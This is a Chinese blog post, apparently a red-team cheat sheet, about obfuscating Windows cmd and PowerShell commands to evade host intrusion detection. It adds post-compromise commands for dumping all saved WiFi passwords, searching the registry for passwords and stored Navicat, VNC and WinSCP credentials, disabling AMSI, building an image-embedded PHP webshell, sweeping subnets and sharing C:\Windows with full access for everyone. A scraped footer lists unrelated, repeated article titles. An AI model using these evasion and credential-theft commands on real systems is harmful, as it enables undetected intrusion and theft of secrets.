浅谈命令混淆

前言

之前一位朋友提到,客服的hids设备执行whoami命令时会被检测到,无论是使用wh”o”aM^i还是cmd /c “,;((w^h^o^a^M^i))”,都无法逃避检测,于是向我求助。既然提到了这个问题,我在这里简单总结一下我自己的几种方法,但会的方法相对较少,后续会补充几个常用的cmd/powershell命令。

技巧(1)特殊符号/大小写

我们可以利用”双引号,^尖角号,括号,逗号,分号等符号来绕过一些常规检测。

浅谈命令混淆

也可以使用一些非主流的特殊字符串,例如certutil /⸿split -ur₏lcache -f https://www.php.cn/link/1171d78d0d618b225dfa50bc2ebb2399 axgg.txt

浅谈命令混淆

(2)环境变量

当我们获取一台机器后,可以先用set命令查看有哪些环境变量。

浅谈命令混淆

例如,%comspec:~3,1%hoa%comspec:~21,1%i,使用环境变量中的字母替换了w和m。

浅谈命令混淆

稍微解释一下,这里使用环境变量截取第三位和第二十一位的w和m来绕过检测。当然,我们也可以自己设置环境变量来达到绕过目的,例如set a=cmd /c whoami%a%。环境变量也可以与我们的特殊符号结合使用,”双引号,^尖角号,括号,逗号,分号等组合在一起,达到同样的效果,例如cmd /c “ set a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%”^c^M^D, , , , /^c”, ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%”

浅谈命令混淆

(3)for循环

单独使用for循环可能效果有限,但可以尝试。

for /f “tokens=4 delims=” %f in (“c:windowssystem32whoami”) do %f

这里,delims是以分割,tokens是第几次分割,我们的第四次分割就是whoami,然后打印。

浅谈命令混淆

(4)利用powershell

可以利用powershell的base64编码。

浅谈命令混淆

当然,还可以尝试fuzzing低版本的powershell,例如powershell -version 3/2/1。利用windows的api,例如Get-WmiObject -Class Win32_UserAccount,也可以使用前面的特殊符号和环境变量来绕过检测。

浅谈命令混淆

利用注册表,例如dir “Registry::HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers” -Name。

浅谈命令混淆

既然提到了powershell,这里简单提一下powershell的混淆思路,我直接截图,比较简陋。

腾讯混元 腾讯混元

腾讯混元大由腾讯研发的大语言模型,具备强大的中文创作能力、逻辑推理能力,以及可靠的任务执行能力。

腾讯混元 65 查看详情 腾讯混元

浅谈命令混淆

(5)运用工具

Dosfuscation

Invoke-DOSfuscation //启动

TUTORIAL //开启模块

SET COMMAND whoami //加密你想执行的命令

浅谈命令混淆

关于cmd/powershell平时会用到的一些命令

(1)主机信息

代码语言:javascript

代码运行次数:0

运行

复制

qwinsta                                        //查看在线用户wmic logicaldisk where DriveType=3 get DeviceID                 //查看系统的盘符wmic useraccount get name,sid                                            //查看所有用户的sidcacls c:                                             //查看c盘的权限配额cacls c:windowsma.exe                 //查看ma.exe的权限配置icacls C:Windows                            //查看文件的ACL情况nbtstat -A 127.0.0.1                         //查看其他主机的bios名Get-WmiObject -class win32_product |Select-Object -Property name,version:收集主机的软件版本信息(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers192.168.149.135").UsernameHint     //本机哪个用户登陆了此IPGet-WinEvent -FilterHashtable @{logname="Application";}      查看application日志Get-CimInstance Win32_DCOMApplication      //查看DCOM文件

(2)横向信息

代码语言:javascript

代码运行次数:0

运行

复制

netsh wlan show profile                 //查看连结过的wifinetsh wlan show profile WiFi-name key=clear 获取对应 wifi 的密码ie 代理                //对应wifi的密码for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear            //所有wifi密码for /l %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find “TTL=”                                    //windows自带的网段扫描for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do  start cmd /c  "ping 172.29.%a.%b -l 1 -n 1 -i 1 >172.29.%a.%b.txt"        //多线程版findstr  /s /m "password" *.*                                                  //查找当前目录的子目录的所有含有password的文件夹dir c:a.txt  /s /b                                                                  //查找c盘的a.txt        Get-Content (Get-PSReadlineOption).HistorySavePath                                //powershell命令历史记录,如果命令用不起,可以查看powershell的txt%userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt%appdata%MicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt注册表HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers                     这个为当前用户的mstsc的记录,username为用户名HKEY_CURRENT_USERSoftwareMicrosoftWindows ScriptSettingsAmsiEnable            禁用AMSI(需要高权限)HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers        MYSQLHKEY_CURRENT_USERSoftwarePremiumSoftNavicatMARIADBServers    MariaDBHKEY_CURRENT_USERSoftwarePremiumSoftNavicatMONGODBServers    MongoDBHKEY_CURRENT_USERSoftwarePremiumSoftNavicatMSSQLServers        Microsoft  SQLHKEY_CURRENT_USERSoftwarePremiumSoftNavicatOraServers        OracleHKEY_CURRENT_USERSoftwarePremiumSoftNavicatPGServers        PostgreSQLHKEY_CURRENT_USERSoftwarePremiumSoftNavicatSQLiteServers        SQLiteHKEY_LOCAL_MACHINESOFTWARERealVNCvncserver        RealVNCHKEY_CURRENT_USERSoftwareTightVNCServer  Value            //TightVNCHKEY_LOCAL_USERSoftwareTigerVNCWinVNC4        TigerVNCHKCUSoftwareMartin  PrikrylWinSCP 2Sessions        WinSCPreg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders" /s            //查看桌面目录reg query 计算机HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerTypedURLs            //查看浏览记录查找本机所有有关密码的字段reg query HKCU /f password /t REG_SZ /sreg query HKLM /f password /t REG_SZ /s

浅谈命令混淆

代码语言:javascript

代码运行次数:0

运行

复制

copy x.jpg/b+12.php 3.jpg                             //制作一句话iexpress                                                            //windows自带的解压命令makecab.exe                                                   //windows自带的压缩命令makecab 1.doc 1.zip                                    //压缩成啥看自己,zip,rar,cabexpand 1.zip 1.doc                                        //解压命令dir /b >>name.txt                                        //先把要解压的多个文件名写入txtmakecab /f name.txt /d maxdisksize=1024000                //然后压缩expand 1.cab -f:* c:test                                                //然后解压set http_proxy=http://127.0.0.1:1080                             //给cmd代理secpol.msc                                                  //打开本地安全策略taskkill /pid 1080 /f                                   //关闭进程copy *.txt 1.txt      type 1.txt                       //将该目录下的所有txt复制到1.txt,然后查看1.txtmstsc /admin /v:ip           mstsc /console /v:ip                        //远程连接certutil.exe -hashfile 1.txt                                            //计算文件hashattrib C:test.exe +s +h                                            //隐藏exe>>b.txt set/p="123" >追加下一个字符串自动换行,绕过/n的限制net share everyone=C:Windows /grant:everyone,full         //开启共享echo 123 > axgg::$INDEX_ALLOCATION                                  //文件流创建文件rd axgg::$INDEX_ALLOCATION                                                //删除改文件

后记

若文章有错误亦或者遗漏的技巧,还望各位师傅斧正和补充。

以上就是浅谈命令混淆的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/432466.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
java ee怎么安装教程
上一篇 2025年11月7日 14:38:11
如何关闭360浏览器的安全防护提示
下一篇 2025年11月7日 14:38:18

相关推荐

  • word插入方框怎么开口_word方框符号开口编辑与自定义

    word插入方框怎么开口_word方框符号开口编辑与自定义word插入方框怎么开口_word方框符号开口编辑与自定义word插入方框怎么开口_word方框符号开口编辑与自定义word插入方框怎么开口_word方框符号开口编辑与自定义

    答案:Word中无直接开口方框符号,但可通过插入基础方框符号或使用形状工具绘制三条边实现开口效果,结合组合、文字环绕与模板保存提升效率,满足表单设计需求。 在Word中插入带开口的方框符号,通常用于制作复选框、填空题或自定义表单。很多人误以为只能插入实心或空心方框,其实通过正确方法可以实现“开口”效…

    2026年8月27日 用户投稿
    100
  • Win11如何自动清理垃圾?Win11自动删除文件设置方法

    Win11如何自动清理垃圾?Win11自动删除文件设置方法Win11如何自动清理垃圾?Win11自动删除文件设置方法Win11如何自动清理垃圾?Win11自动删除文件设置方法Win11如何自动清理垃圾?Win11自动删除文件设置方法

    如何在win11中自动清理垃圾文件?在日常使用电脑的过程中,会产生大量无用的垃圾文件。如果不对这些文件进行清理,它们会逐渐堆积,从而影响电脑的性能。今天这篇文章将向大家介绍win11自动删除文件的设置步骤,有需要的朋友不妨跟着学习一下。 Win11自动删除文件设置方法 1、首先按下键盘上的 Win …

    2026年8月27日 用户投稿
    100
  • 抖音主页怎么分享?抖音主页怎么分享链接给别人

    在如今社交媒体盛行的时代,抖音已成为人们记录生活、展示才华的重要平台。无论是想让更多人关注你,还是推广自己的内容,学会如何分享抖音主页都至关重要。那么,抖音主页怎么分享链接给别人呢?别担心,接下来就为你详细介绍操作步骤和实用技巧,助你轻松传播个人主页。 一、分享抖音主页的具体操作 启动抖音应用 首先…

    2026年8月27日
    000
  • 怎样把微信文件移到D盘_微信文件存储路径迁移至D盘的方法

    先修改微信文件存储路径至D盘,再复制原有WeChat Files文件夹并更新设置,最后可通过符号链接保持兼容性,确保C盘空间释放且数据安全。 微信在使用过程中会产生大量聊天记录、图片、视频和文件,默认保存在系统盘(通常是C盘),时间久了容易占用大量空间。将微信文件迁移到D盘,不仅能释放C盘压力,还能…

    2026年8月27日
    000
  • CentOS 6/7升级最新内核并开启Google BBR

    google bbr是一款tcp加速工具,但要求linux内核必须大于4.9,之前分享过文章《centos一键升级内核并开启google bbr》,这个方法虽然方便,但是发现在raksmart上升级失败了,于是尝试手动升级内核。 CentOS 7升级最新内核代码语言:javascript代码运行次数…

    2026年8月27日
    100
  • 告别PHP异步操作的等待地狱:使用GuzzlePromises优雅地处理并发任务

    可以通过一下地址学习composer:学习地址 陷入“等待地狱”的困境 想象一下,你正在开发一个复杂的php应用,比如一个聚合信息平台。为了展示一个完整的用户仪表盘,你需要同时从多个api获取数据:用户基本信息(来自用户服务)、最近订单列表(来自订单服务)、以及个性化推荐商品(来自推荐服务)。 如果…

    用户投稿 2026年8月27日
    000
  • excel中sumproduct函数怎么用_sumproduct函数多条件求和计数详解

    SUMPRODUCT函数可通过逻辑判断数组相乘实现多条件求和与计数,如统计“产品A”在“华南”地区的销售额用=SUMPRODUCT((A2:A10=”产品A”)(B2:B10=”华南”)C2:C10),统计满足条件的行数则省略数值列相乘。 如果您需要在…

    2026年8月27日
    100
  • 迈向智能交互新阶段 三星Galaxy Z Fold7|Z Flip7实现品质跃升

    迈向智能交互新阶段 三星Galaxy Z Fold7|Z Flip7实现品质跃升迈向智能交互新阶段 三星Galaxy Z Fold7|Z Flip7实现品质跃升迈向智能交互新阶段 三星Galaxy Z Fold7|Z Flip7实现品质跃升迈向智能交互新阶段 三星Galaxy Z Fold7|Z Flip7实现品质跃升

    近年来,移动ai技术转而成为了行业破局的关键。三星作为推动行业发展的关键角色,在最新推出的折叠屏新品中,不仅展现了令人惊艳的硬件超薄进化,更凭借先进的galaxy ai带来了更丰富、直观、自然的ai智能交互体验。 秉持“AI for All”愿景,三星致力于将AI体验覆盖到人们生活中的各处细节。首发…

    2026年8月27日 用户投稿
    200
  • win10怎么禁用驱动程序数字签名_win10驱动强制签名禁用方法

    可通过组策略或高级启动禁用驱动签名验证。1、组策略路径:计算机配置→管理模板→系统→驱动程序安装→设备驱动程序的代码签名→启用并设为忽略;2、重启后生效,适用于专业版。3、临时方法:Shift+重启→疑难解答→高级选项→启动设置→禁用驱动程序强制签名→F7确认,重启后安装驱动。 如果您在安装某些硬件…

    2026年8月27日
    000
  • 如何在Neos/Flow项目中无缝集成Fluid模板引擎?Composer助你高效实现

    可以通过一下地址学习composer:学习地址 告别繁琐集成:Neos/Flow 项目中模板引擎的痛点 作为 neos 或 flow 框架的开发者,我们深知一个高效、灵活的模板引擎对于构建出色用户界面的重要性。市面上有各种各样的模板引擎,但对于熟悉 typo3 生态系统或寻求与 flow/neos …

    用户投稿 2026年8月27日
    000
  • Amazon Nova Act— 亚马逊推出的通用 AI 智能体,自主执行网页任务

    amazon nova act:亚马逊的通用ai代理,简化浏览器任务 Amazon AGI Labs 推出的 Amazon Nova Act 是一款强大的通用人工智能代理,旨在简化网页浏览器中的任务执行。开发者可以使用配套的 SDK 构建智能体应用原型,实现诸如提交请假申请、安排日程或发送自动回复邮…

    2026年8月27日
    000
  • 蝴蝶号带货新机遇 + 智享 AI 无人直播平台:躺着实现财富自由

    蝴蝶号带货结合智享 ai 无人直播平台理论上可降低门槛并实现部分自动化运营,但无法完全等同于“财富自由”;2. 实现路径包括精准选品、优化直播间设计、持续内容运营、数据分析与策略调整、风险控制;3. 选品需结合平台年轻化用户画像,选择利润高、供应链稳、竞争适中、应季且具差异化的商品;4. 智享 ai…

    2026年8月27日
    000
  • 谷歌浏览器登录网址官方入口 谷歌网页版在线登录入口

    谷歌浏览器登录官方入口是https://www.google.com,用户可通过该网址登录账户实现跨设备同步书签、历史记录与密码,支持多账户切换与两步验证,保障安全;网页版无需安装,适配多设备,响应快,同步功能涵盖扩展、主题与密码管理,提升使用效率。 谷歌浏览器登录网址官方入口在哪里?这是不少用户都…

    2026年8月27日
    000
  • 夸克搜索如何设置手势操作更便捷_夸克搜索手势操作设置指南

    首先开启夸克手势功能,进入设置→通用→页面手势设置并开启左右滑动等基础操作;接着自定义手势,通过工具箱→手势设置调整触发区域与对应命令;最后在阅读模式下配置专用手势,如双击翻页、滑动调光,并调节灵敏度以提升浏览效率。 如果您希望在使用夸克搜索时通过手势操作提升浏览效率,但不清楚如何进行设置,可能是由…

    2026年8月27日
    100
  • 在Java远程调试中,如何正确获取远程服务器上的常量值?

    Java远程调试:正确获取远程服务器常量值 Java远程调试中,开发者常遇到一个难题:获取的常量值并非远程服务器上的值,而是本地环境的值。本文将深入探讨此问题,并提供解决方案。 问题:本地常量值覆盖远程值 在远程调试过程中,即使远程服务器上的常量类已更新,调试时获取的常量值仍然是本地编译时的值。这是…

    2026年8月27日
    000
  • Windows10专业版系统C盘虚拟内存怎么设置?

    Windows10专业版系统C盘虚拟内存怎么设置?Windows10专业版系统C盘虚拟内存怎么设置?Windows10专业版系统C盘虚拟内存怎么设置?Windows10专业版系统C盘虚拟内存怎么设置?

    windows 10专业版系统在运行许多程序时都会用到虚拟内存。如果虚拟内存设置过小,在处理大型数据或图像时,可能会出现暂存盘不足的问题。那么,如何在windows 10专业版系统中设置c盘的虚拟内存呢?以下是具体的操作步骤: 设置步骤如下: 首先,在“此电脑”图标上右键单击,然后选择“属性”。 在…

    2026年8月27日 用户投稿
    200
  • 如何优雅地处理PHP异步操作?Composer与GuzzlePromises助你告别“回调地狱”

    可以通过一下地址学习composer:学习地址 在日常的php项目开发中,你是否也曾遇到过这样的场景: 你的Web应用需要向多个第三方API发送请求来获取数据,或者在用户注册后异步发送一封欢迎邮件,甚至需要处理一些耗时的后台任务。如果这些操作都采用传统的同步方式,那么用户可能需要漫长的等待,直到所有…

    用户投稿 2026年8月27日
    100
  • 蝴蝶号带货新趋势 + 智享三代 AI 无人直播:轻松开启躺赚带货新时代

    蝴蝶号带货新趋势是结合ai无人直播实现高效省力的“躺赚”,其核心工具智享三代ai无人直播通过以下方式实现:1. 24/7全天候直播,突破时空限制持续获客;2. 智能互动与个性化推荐,提升用户粘性与转化率;3. 实时数据分析与优化,改进直播策略与选品;4. 降低人力与时间成本,显著提高带货效率;选择系…

    2026年8月27日
    000
  • win10xbox录屏没声音怎么办?win10xbox录屏没声音的解决方法

    在使用Win10系统中的Xbox录屏功能时,可能会遇到一种令人烦恼的情况:录制的视频没有声音。别着急,下面提供几种有效的解决方案,帮助你恢复录屏的声音。 第一步,检查系统的音频设置是否正确。按下Win + I组合键打开“设置”,进入“系统”界面后选择左侧的“声音”选项。确认当前使用的“输入”和“输出…

    2026年8月27日
    000
  • Yii如何配置数据库连接(MySQL/PostgreSQL等)?

    yii框架配置数据库连接可以通过以下步骤实现:1) 在config/db.php文件中定义连接,2) 修改dsn参数以支持mysql或postgresql,3) 使用环境变量或独立文件管理敏感信息,4) 配置连接池和启用模式缓存优化性能,5) 支持多数据库连接,6) 动态加载配置以适应不同环境,7)…

    2026年8月27日
    000

发表回复

登录后才能评论
关注微信